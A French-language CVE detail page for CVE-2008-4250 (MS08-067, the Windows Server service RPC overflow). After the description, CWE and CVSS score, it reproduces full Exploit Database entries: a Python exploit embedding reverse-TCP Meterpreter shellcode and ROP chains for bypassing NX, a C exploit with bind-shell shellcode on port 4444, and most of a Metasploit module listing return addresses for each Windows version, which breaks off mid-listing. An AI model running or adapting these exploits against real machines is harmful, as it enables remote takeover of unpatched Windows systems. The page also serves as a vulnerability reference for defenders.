CVE-2008-4250 : Détail

CVE-2008-4250

Code Injection
A03-Injection
94.13%V4
Network
2008-10-23
19h00 +00:00
2018-10-12
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary code via a crafted RPC request that triggers the overflow during path canonicalization, as exploited in the wild by Gimmiv.A in October 2008, aka "Server Service Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 6824

Date de publication : 2008-10-22 22h00 +00:00
Auteur : stephen lawler
EDB Vérifié : Yes

In vstudio command prompt: mk.bat next: attach debugger to services.exe (2k) or the relevant svchost (xp/2k3/...) net use \\IPADDRESS\IPC$ /user:user creds die \\IPADDRESS \pipe\srvsvc In some cases, /user:"" "", will suffice (i.e., anonymous connection) You should get EIP -> 00 78 00 78, a stack overflow (like a guard page violation), access violation, etc. However, in some cases, you will get nothing. This is because it depends on the state of the stack prior to the "overflow". You need a slash on the stack prior to the input buffer. So play around a bit, you'll get it working reliably... poc: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6824.zip (2008-ms08-067.zip) # milw0rm.com [2008-10-23]
Exploit Database EDB-ID : 40279

Date de publication : 2016-02-25 23h00 +00:00
Auteur : ohnozzy
EDB Vérifié : No

import struct import time import sys from threading import Thread #Thread is imported incase you would like to modify try: from impacket import smb from impacket import uuid from impacket import dcerpc from impacket.dcerpc.v5 import transport except ImportError, _: print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' sys.exit(1) print '#######################################################################' print '# MS08-067 Exploit' print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).' print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi' print '#######################################################################\n' #Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40; #Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes (nopsleps are not included) #EXITFUNC=thread Important! #msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode += "\x2b\xc9\x83\xe9\xa7\xe8\xff\xff\xff\xff\xc0\x5e\x81" shellcode += "\x76\x0e\xb7\xdd\x9e\xe0\x83\xee\xfc\xe2\xf4\x4b\x35" shellcode += "\x1c\xe0\xb7\xdd\xfe\x69\x52\xec\x5e\x84\x3c\x8d\xae" shellcode += "\x6b\xe5\xd1\x15\xb2\xa3\x56\xec\xc8\xb8\x6a\xd4\xc6" shellcode += "\x86\x22\x32\xdc\xd6\xa1\x9c\xcc\x97\x1c\x51\xed\xb6" shellcode += "\x1a\x7c\x12\xe5\x8a\x15\xb2\xa7\x56\xd4\xdc\x3c\x91" shellcode += "\x8f\x98\x54\x95\x9f\x31\xe6\x56\xc7\xc0\xb6\x0e\x15" shellcode += "\xa9\xaf\x3e\xa4\xa9\x3c\xe9\x15\xe1\x61\xec\x61\x4c" shellcode += "\x76\x12\x93\xe1\x70\xe5\x7e\x95\x41\xde\xe3\x18\x8c" shellcode += "\xa0\xba\x95\x53\x85\x15\xb8\x93\xdc\x4d\x86\x3c\xd1" shellcode += "\xd5\x6b\xef\xc1\x9f\x33\x3c\xd9\x15\xe1\x67\x54\xda" shellcode += "\xc4\x93\x86\xc5\x81\xee\x87\xcf\x1f\x57\x82\xc1\xba" shellcode += "\x3c\xcf\x75\x6d\xea\xb5\xad\xd2\xb7\xdd\xf6\x97\xc4" shellcode += "\xef\xc1\xb4\xdf\x91\xe9\xc6\xb0\x22\x4b\x58\x27\xdc" shellcode += "\x9e\xe0\x9e\x19\xca\xb0\xdf\xf4\x1e\x8b\xb7\x22\x4b" shellcode += "\x8a\xb2\xb5\x5e\x48\xa9\x90\xf6\xe2\xb7\xdc\x25\x69" shellcode += "\x51\x8d\xce\xb0\xe7\x9d\xce\xa0\xe7\xb5\x74\xef\x68" shellcode += "\x3d\x61\x35\x20\xb7\x8e\xb6\xe0\xb5\x07\x45\xc3\xbc" shellcode += "\x61\x35\x32\x1d\xea\xea\x48\x93\x96\x95\x5b\x35\xff" shellcode += "\xe0\xb7\xdd\xf4\xe0\xdd\xd9\xc8\xb7\xdf\xdf\x47\x28" shellcode += "\xe8\x22\x4b\x63\x4f\xdd\xe0\xd6\x3c\xeb\xf4\xa0\xdf" shellcode += "\xdd\x8e\xe0\xb7\x8b\xf4\xe0\xdf\x85\x3a\xb3\x52\x22" shellcode += "\x4b\x73\xe4\xb7\x9e\xb6\xe4\x8a\xf6\xe2\x6e\x15\xc1" shellcode += "\x1f\x62\x5e\x66\xe0\xca\xff\xc6\x88\xb7\x9d\x9e\xe0" shellcode += "\xdd\xdd\xce\x88\xbc\xf2\x91\xd0\x48\x08\xc9\x88\xc2" shellcode += "\xb3\xd3\x81\x48\x08\xc0\xbe\x48\xd1\xba\x09\xc6\x22" shellcode += "\x61\x1f\xb6\x1e\xb7\x26\xc2\x1a\x5d\x5b\x57\xc0\xb4" shellcode += "\xea\xdf\x7b\x0b\x5d\x2a\x22\x4b\xdc\xb1\xa1\x94\x60" shellcode += "\x4c\x3d\xeb\xe5\x0c\x9a\x8d\x92\xd8\xb7\x9e\xb3\x48" shellcode += "\x08\x9e\xe0" nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10 disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62" ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01"; module_base = 0x6f880000 def generate_rop(rvas): gadget1="\x90\x5a\x59\xc3" gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"] gadget3="\xcc\x90\xeb\x5a" ret=struct.pack('<L', 0x00018000) ret+=struct.pack('<L', rvas['call_HeapCreate']+module_base) ret+=struct.pack('<L', 0x01040110) ret+=struct.pack('<L', 0x01010101) ret+=struct.pack('<L', 0x01010101) ret+=struct.pack('<L', rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret']+module_base) ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base) ret+=gadget1 ret+=struct.pack('<L', rvas['mov [eax], ecx / ret']+module_base) ret+=struct.pack('<L', rvas['jmp eax']+module_base) ret+=gadget2[0] ret+=gadget2[1] ret+=struct.pack('<L', rvas['mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret']+module_base) ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base) ret+=gadget2[2] ret+=struct.pack('<L', rvas['mov [eax+0x10], ecx / ret']+module_base) ret+=struct.pack('<L', rvas['add eax, 8 / ret']+module_base) ret+=struct.pack('<L', rvas['jmp eax']+module_base) ret+=gadget3 return ret class SRVSVC_Exploit(Thread): def __init__(self, target, os, port=445): super(SRVSVC_Exploit, self).__init__() self.__port = port self.target = target self.os = os def __DCEPacket(self): if (self.os=='1'): print 'Windows XP SP0/SP1 Universal\n' ret = "\x61\x13\x00\x01" jumper = nonxjmper % (ret, ret) elif (self.os=='2'): print 'Windows 2000 Universal\n' ret = "\xb0\x1c\x1f\x00" jumper = nonxjmper % (ret, ret) elif (self.os=='3'): print 'Windows 2003 SP0 Universal\n' ret = "\x9e\x12\x00\x01" #0x01 00 12 9e jumper = nonxjmper % (ret, ret) elif (self.os=='4'): print 'Windows 2003 SP1 English\n' ret_dec = "\x8c\x56\x90\x7c" #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL ret_pop = "\xf4\x7c\xa2\x7c" #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL jmp_esp = "\xd3\xfe\x86\x7c" #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL disable_nx = "\x13\xe4\x83\x7c" #0x 7c 83 e4 13 NX disable @NTDLL.DLL jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2) elif (self.os=='5'): print 'Windows XP SP3 French (NX)\n' ret = "\x07\xf8\x5b\x59" #0x59 5b f8 07 disable_nx = "\xc2\x17\x5c\x59" #0x59 5c 17 c2 jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case. elif (self.os=='6'): print 'Windows XP SP3 English (NX)\n' ret = "\x07\xf8\x88\x6f" #0x6f 88 f8 07 disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2 jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case. elif (self.os=='7'): print 'Windows XP SP3 English (AlwaysOn NX)\n' rvasets = {'call_HeapCreate': 0x21286,'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796,'pop ecx / ret':0x2e796 + 6,'mov [eax], ecx / ret':0xd296,'jmp eax':0x19c6f,'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':0x10a56,'mov [eax+0x10], ecx / ret':0x10a56 + 6,'add eax, 8 / ret':0x29c64} jumper = generate_rop(rvasets)+"AB" #the nonxjmper also work in this case. else: print 'Not supported OS version\n' sys.exit(-1) print '[-]Initiating connection' self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) self.__trans.connect() print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target self.__dce = self.__trans.DCERPC_class(self.__trans) self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) path ="\x5c\x00"+"ABCDEFGHIJ"*10 + shellcode +"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2 server="\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00" prefix="\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00" self.__stub=server+"\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path +"\xE8\x03\x00\x00"+prefix+"\x01\x10\x00\x00\x00\x00\x00\x00" return def run(self): self.__DCEPacket() self.__dce.call(0x1f, self.__stub) time.sleep(5) print 'Exploit finish\n' if __name__ == '__main__': try: target = sys.argv[1] os = sys.argv[2] except IndexError: print '\nUsage: %s <target ip>\n' % sys.argv[0] print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n' print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n' sys.exit(-1) current = SRVSVC_Exploit(target, os) current.start()
Exploit Database EDB-ID : 7104

Date de publication : 2008-11-11 23h00 +00:00
Auteur : Polymorphours
EDB Vérifié : Yes

/* MS08-067 Remote Stack Overflow Vulnerability Exploit Author: Polymorphours Email: Polymorphours@whitecell.org Homepage:http://www.whitecell.org Date: 2008-10-28 */ #include "stdafx.h" #include <winsock2.h> #include <Rpc.h> #include <stdio.h> #include <stdlib.h> #pragma comment(lib, "mpr") #pragma comment(lib, "Rpcrt4") #pragma comment(lib, "ws2_32") struct RPCBIND { BYTE VerMaj; BYTE VerMin; BYTE PacketType; BYTE PacketFlags; DWORD DataRep; WORD FragLength; WORD AuthLength; DWORD CallID; WORD MaxXmitFrag; WORD MaxRecvFrag; DWORD AssocGroup; BYTE NumCtxItems; WORD ContextID; WORD NumTransItems; GUID InterfaceUUID; WORD InterfaceVerMaj; WORD InterfaceVerMin; GUID TransferSyntax; DWORD SyntaxVer; }; struct RPCFUNC { BYTE VerMaj; BYTE VerMin; BYTE PacketType; BYTE PacketFlags; DWORD DataRep; WORD FragLength; WORD AuthLength; DWORD CallID; DWORD AllocHint; WORD ContextID; WORD Opnum; }; BYTE PRPC[0x48] = { 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00, 0xB8,0x10,0xB8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00, 0x6A,0x28,0x19,0x39,0x0C,0xB1,0xD0,0x11,0x9B,0xA8,0x00,0xC0,0x4F,0xD9,0x2E,0xF5, 0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; BYTE EXPLOIT[] = "\x05\x00" "\x00\x03\x10\x00\x00\x00\xA4\x00\x00\x00\x01\x00\x00\x00\x94\x00" "\x00\x00\x00\x00\x1f\x00" "\x00\x00\x00\x00" "\x2F\x00\x00\x00\x00\x00\x00\x00\x2F\x00\x00\x00" "\x5c\x00" "\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" "\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x12\x45\xfa\x7f" // jmp esp "\x90\x8B\xF4\x81" "\x3E\x90\x90\x90\x90\x74\x04\x4E\x4E\xEB\xF4\x33\xC9\x33\xDB\xB1" "\x01\xC1\xE1\x09\x8B\xFC\x4B\xC1\xE3\x0D\x23\xFB\x57\xF3\xA4\x5F" // "\xB1\x01\xC1\xE1\x09\x2B\xE1\xFF\xE7\x41\x41\x41\x41\x41\x41\x41" "\x83\xEC\x70\x90\x90\x90\x90\xFF\xE7\x41\x41\x41\x41\x41\x41\x41" "\x00\x00\x00\x00\x01\x00" "\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5C\x00" "\x00\x00" "\x01\x00\x00\x00\x01\x00\x00\x00"; BYTE POP[] =//stub header RPCFUNC structure "\x05\x00" "\x00\x03\x10\x00\x00\x00\xE4\x01\x00\x00\x01\x00\x00\x00\xD4\x01" "\x00\x00\x00\x00\x1f\x00" "\x00\x00\x00\x00" "\xCF\x00\x00\x00\x00\x00\x00\x00\xCF\x00\x00\x00" "\x5c\x00" "\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xCC\x41" "\x00\x00\x00\x00\x01\x00" "\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5C\x00" "\x00\x00" "\x01\x00\x00\x00\x01\x00\x00\x00"; unsigned char bind_shellcode[] = // "\xCC" // "\x83\xEC\x40" // sub esp, 0x70 "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xad" "\x07\xe6\x4a\x83\xeb\xfc\xe2\xf4\x51\x6d\x0d\x07\x45\xfe\x19\xb5" "\x52\x67\x6d\x26\x89\x23\x6d\x0f\x91\x8c\x9a\x4f\xd5\x06\x09\xc1" "\xe2\x1f\x6d\x15\x8d\x06\x0d\x03\x26\x33\x6d\x4b\x43\x36\x26\xd3" "\x01\x83\x26\x3e\xaa\xc6\x2c\x47\xac\xc5\x0d\xbe\x96\x53\xc2\x62" "\xd8\xe2\x6d\x15\x89\x06\x0d\x2c\x26\x0b\xad\xc1\xf2\x1b\xe7\xa1" "\xae\x2b\x6d\xc3\xc1\x23\xfa\x2b\x6e\x36\x3d\x2e\x26\x44\xd6\xc1" "\xed\x0b\x6d\x3a\xb1\xaa\x6d\x0a\xa5\x59\x8e\xc4\xe3\x09\x0a\x1a" "\x52\xd1\x80\x19\xcb\x6f\xd5\x78\xc5\x70\x95\x78\xf2\x53\x19\x9a" "\xc5\xcc\x0b\xb6\x96\x57\x19\x9c\xf2\x8e\x03\x2c\x2c\xea\xee\x48" "\xf8\x6d\xe4\xb5\x7d\x6f\x3f\x43\x58\xaa\xb1\xb5\x7b\x54\xb5\x19" "\xfe\x54\xa5\x19\xee\x54\x19\x9a\xcb\x6f\xf7\x16\xcb\x54\x6f\xab" "\x38\x6f\x42\x50\xdd\xc0\xb1\xb5\x7b\x6d\xf6\x1b\xf8\xf8\x36\x22" "\x09\xaa\xc8\xa3\xfa\xf8\x30\x19\xf8\xf8\x36\x22\x48\x4e\x60\x03" "\xfa\xf8\x30\x1a\xf9\x53\xb3\xb5\x7d\x94\x8e\xad\xd4\xc1\x9f\x1d" "\x52\xd1\xb3\xb5\x7d\x61\x8c\x2e\xcb\x6f\x85\x27\x24\xe2\x8c\x1a" "\xf4\x2e\x2a\xc3\x4a\x6d\xa2\xc3\x4f\x36\x26\xb9\x07\xf9\xa4\x67" "\x53\x45\xca\xd9\x20\x7d\xde\xe1\x06\xac\x8e\x38\x53\xb4\xf0\xb5" "\xd8\x43\x19\x9c\xf6\x50\xb4\x1b\xfc\x56\x8c\x4b\xfc\x56\xb3\x1b" "\x52\xd7\x8e\xe7\x74\x02\x28\x19\x52\xd1\x8c\xb5\x52\x30\x19\x9a" "\x26\x50\x1a\xc9\x69\x63\x19\x9c\xff\xf8\x36\x22\x42\xc9\x06\x2a" "\xfe\xf8\x30\xb5\x7d\x07\xe6\x4a"; int BindRpcInterface(HANDLE PH, char *Interface, char *InterfaceVer) { BYTE rbuf[0x1000]=""; DWORD dw=0; struct RPCBIND RPCBind; memcpy(&RPCBind,&PRPC,sizeof(RPCBind)); UuidFromString((unsigned char *)Interface,&RPCBind.InterfaceUUID); UuidToString(&RPCBind.InterfaceUUID,(unsigned char **)&Interface); RPCBind.InterfaceVerMaj=atoi(&InterfaceVer[0]); RPCBind.InterfaceVerMin=atoi(&InterfaceVer[2]); TransactNamedPipe(PH, &RPCBind, sizeof(RPCBind), rbuf,sizeof(rbuf), &dw, NULL); return 0; } int main(int argc, char* argv[]) { char *server; NETRESOURCE nr; char unc[MAX_PATH]; char szPipe[MAX_PATH]; HANDLE hFile; WSADATA wsa; int bwritten=0; BYTE rbuf[0x100]=""; DWORD dw; PVOID ptr = (PVOID)&POP; printf( "\tMS08-067 Remote Stack Overflow Vulnerability Exploit(POC)\n\n" ); printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/10/27\n" ); printf( "Thanks isno and PolyMeta\n" ); printf( "ShellCode Function: bindshell port:4444\n" ); printf( "usage:\n%s [IP]\n", argv[0] ); if ( argc != 2 ) { return 0; } if ( WSAStartup(MAKEWORD(2,2),&wsa) != 0 ) { printf( "WSAStartup failed\n" ); return 0; } memcpy((char *)ptr + 74, bind_shellcode, sizeof(bind_shellcode)-1); server=argv[1]; _snprintf(unc, sizeof(unc), "\\\\%s\\pipe", server); unc[sizeof(unc)-1] = 0; nr.dwType = RESOURCETYPE_ANY; nr.lpLocalName = NULL; nr.lpRemoteName = unc; nr.lpProvider = NULL; printf( "connect %s ipc$ .... ", server ); if ( WNetAddConnection2(&nr, "", "", 0) != 0 ) { printf( "failed\n" ); return 0; } else { printf( "success!\n" ); } _snprintf(szPipe, sizeof(szPipe),"\\\\%s\\pipe\\browser",server); printf( "open \\\\%s\\pipe\\browser ....", server ); hFile = CreateFile( szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if ( hFile == (HANDLE)-1 ) { printf( "failed!\n" ); return 0; } else { printf( "success!\n" ); } printf( "Bind Rpc 4b324fc8-1670-01d3-1278-5a47bf6ee188 Interface\n" ); BindRpcInterface(hFile,"4b324fc8-1670-01d3-1278-5a47bf6ee188","3.0"); printf( "Send shellcode ....\n" ); TransactNamedPipe(hFile, (PVOID)&POP, sizeof(POP) - 1, rbuf, sizeof(rbuf), &dw, NULL); printf( "Send Exploit ...... \n" ); TransactNamedPipe(hFile, (PVOID)&EXPLOIT, sizeof(EXPLOIT) - 1, rbuf, sizeof(rbuf), &dw, NULL); CloseHandle( hFile ); return 0; } // milw0rm.com [2008-11-12]
Exploit Database EDB-ID : 16362

Date de publication : 2011-01-20 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: ms08_067_netapi.rb 11614 2011-01-21 04:09:48Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Server Service Relative Path Stack Corruption', 'Description' => %q{ This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development. }, 'Author' => [ 'hdm', # with tons of input/help/testing from the community 'Brett Moore <brett.moore[at]insomniasec.com>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11614 $', 'References' => [ [ 'CVE', '2008-4250'], [ 'OSVDB', '49243'], [ 'MSB', 'MS08-067' ], # If this vulnerability is found, ms08-67 is exposed as well [ 'NEXPOSE', 'dcerpc-ms-netapi-netpathcanonicalize-dos'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40", 'Prepend' => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'DefaultTarget' => 0, 'Targets' => [ # # Automatic targetting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true } ], # # UNIVERSAL TARGETS # # # Antoine's universal for Windows 2000 # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET # [ 'Windows 2000 Universal', { 'Ret' => 0x001f1cb0, 'Scratch' => 0x00020408, } ], # JMP EDI SVCHOST.EXE # # Standard return-to-ESI without NX bypass # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET # [ 'Windows XP SP0/SP1 Universal', { 'Ret' => 0x01001361, 'Scratch' => 0x00020408, } ], # JMP ESI SVCHOST.EXE # # ENGLISH TARGETS # # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 English (NX)', { 'Ret' => 0x6f88f727, 'DisableNX' => 0x6f8916e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 English (NX)', { 'Ret' => 0x6f88f807, 'DisableNX' => 0x6f8917c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Standard return-to-ESI without NX bypass [ 'Windows 2003 SP0 Universal', { 'Ret' => 0x0100129e, 'Scratch' => 0x00020408, } ], # JMP ESI SVCHOST.EXE # Standard return-to-ESI without NX bypass [ 'Windows 2003 SP1 English (NO NX)', { 'Ret' => 0x71bf21a2, 'Scratch' => 0x00020408, } ], # JMP ESI WS2HELP.DLL # Brett Moore's crafty NX bypass for 2003 SP1 [ 'Windows 2003 SP1 English (NX)', { 'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL 'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL 'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL 'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL 'Scratch' => 0x00020408, } ], # Standard return-to-ESI without NX bypass [ 'Windows 2003 SP1 Japanese (NO NX)', { 'Ret' => 0x71a921a2, 'Scratch' => 0x00020408, } ], # JMP ESI WS2HELP.DLL # Standard return-to-ESI without NX bypass [ 'Windows 2003 SP2 English (NO NX)', { 'Ret' => 0x71bf3969, 'Scratch' => 0x00020408, } ], # JMP ESI WS2HELP.DLL # Brett Moore's crafty NX bypass for 2003 SP2 [ 'Windows 2003 SP2 English (NX)', { 'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL 'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL 'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL 'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL 'Scratch' => 0x00020408, } ], # Standard return-to-ESI without NX bypass [ 'Windows 2003 SP2 German (NO NX)', { 'Ret' => 0x71a03969, 'Scratch' => 0x00020408, } ], # JMP ESI WS2HELP.DLL # Brett Moore's crafty NX bypass for 2003 SP2 [ 'Windows 2003 SP2 German (NX)', { 'RetDec' => 0x7c98beb8, # dec ESI, ret @NTDLL.DLL 'RetPop' => 0x7cb3e84e, # push ESI, pop EBP, ret @SHELL32.DLL 'JmpESP' => 0x7c98a01b, # jmp ESP @NTDLL.DLL 'DisableNX' => 0x7c95f517, # NX disable @NTDLL.DLL 'Scratch' => 0x00020408, } ], # # NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED # # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Arabic (NX)', { 'Ret' => 0x6fd8f727, 'DisableNX' => 0x6fd916e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Chinese - Traditional / Taiwan (NX)', { 'Ret' => 0x5860f727, 'DisableNX' => 0x586116e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Chinese - Simplified (NX)', { 'Ret' => 0x58fbf727, 'DisableNX' => 